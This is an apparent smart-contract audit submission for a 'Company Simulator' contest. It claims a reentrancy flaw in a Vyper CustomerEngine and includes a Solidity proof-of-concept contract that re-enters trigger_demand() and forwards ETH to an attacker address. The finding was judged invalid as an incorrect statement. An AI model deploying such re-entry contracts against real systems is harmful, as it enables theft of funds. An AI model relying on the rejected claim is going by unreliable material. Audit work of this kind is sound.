Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

Missing explicit non-reentrancy guard allows callback reentrancy

Root + Impact

Description

  • Expected behavior: Functions that perform external calls (including raw_call or send/transfer) must protect critical state updates with a non-reentrancy guard (e.g., @nonreentrant in Vyper or an explicit lock) so external contract callbacks cannot re-enter and corrupt state.

  • Actual behavior: CustomerEngine.trigger_demand() and some hub functions perform external calls (e.g., raw_call(self.company, ...), raw_call(msg.sender, ..., value=payout)) without applying an explicit non-reentrancy decorator or manual reentrancy lock. A malicious counterparty can re-enter via callbacks and cause unexpected state transitions.

// Root cause in the codebase with @> marks to highlight the relevant section
# external call to CompanyGame (hub)
data: Bytes[36] = concat(
method_id("sell_to_customer(uint256)"), convert(requested, bytes32)
)
@> raw_call(self.company, data, value=total_cost, revert_on_failure=True)

Risk

Likelihood

Medium — depends on whether the external counterparty is attacker-controlled; trivial to exploit in a test environment or if the owner sets attacker contract as company. Given the code allows owner to set CUSTOMER_ENGINE and external calls to arbitrary contract, likelihood is material.

Impact

1.State inconsistency, double-withdrawal, or accounting manipulation via callbacks.

2.Unexpected re-execution of logic that relies on invariant assumptions (e.g., daily counters, shares).

3.Potential for draining ETH or duplicating rewards if a sequence of external calls and state updates is poorly ordered.

Proof of Concept

This PoC demonstrates that callbacks from an external counterparty can invoke public/external functions again during a transaction, so a nonreentrant guard is required.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
PoC: Malicious company performs callback reentry into CustomerEngine during sell_to_customer.
- Deploy CustomerEngine and set company to this MaliciousCompany (in test environment).
- Ensure CustomerEngine is funded appropriately and reputation >= MIN_REPUTATION.
- Call trigger_demand() from a user EOA. CustomerEngine will raw_call to this contract.
- The fallback/sell function here re-enters CustomerEngine.trigger_demand() to prove reentrancy.
*/
interface ICustomerEngine {
function trigger_demand() external payable;
}
contract MaliciousCompany {
address public engine;
address payable public attacker;
constructor(address _engine, address payable _attacker) {
engine = _engine;
attacker = _attacker;
}
// This function will be invoked via raw_call from CustomerEngine
fallback() external payable {
// Re-enter CustomerEngine.trigger_demand()
// We call without sending ETH to act as a reentrancy demonstration.
// In tests you can supply low gas or craft exact call to demonstrate nested behavior.
(bool ok, ) = engine.call(abi.encodeWithSignature("trigger_demand()"));
// ignore result for PoC
// Forward received ETH (if any) to attacker
if (address(this).balance > 0) {
attacker.transfer(address(this).balance);
}
}
receive() external payable {
// same behavior
(bool ok, ) = engine.call(abi.encodeWithSignature("trigger_demand()"));
if (address(this).balance > 0) {
attacker.transfer(address(this).balance);
}
}
}

Recommended Mitigation

Add nonreentrancy decorator or manual lock. Vyper supports @nonreentrant (version-dependent) or manual lock field.

- remove this code
+ add this code
+ # at top add (if supported)
+ @external
+ @nonreentrant("entry")
def trigger_demand():
...
#or
#Manual Lock field
+ lock: public(bool)
@external
def trigger_demand():
- # existing code...
+ assert not self.lock, "reentrant"
+ self.lock = True
+
+ # ... existing code ...
+
+ # before any return/end
+ self.lock = False
Updates

Lead Judging Commences

0xshaedyw Lead Judge
6 days ago
0xshaedyw Lead Judge 4 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.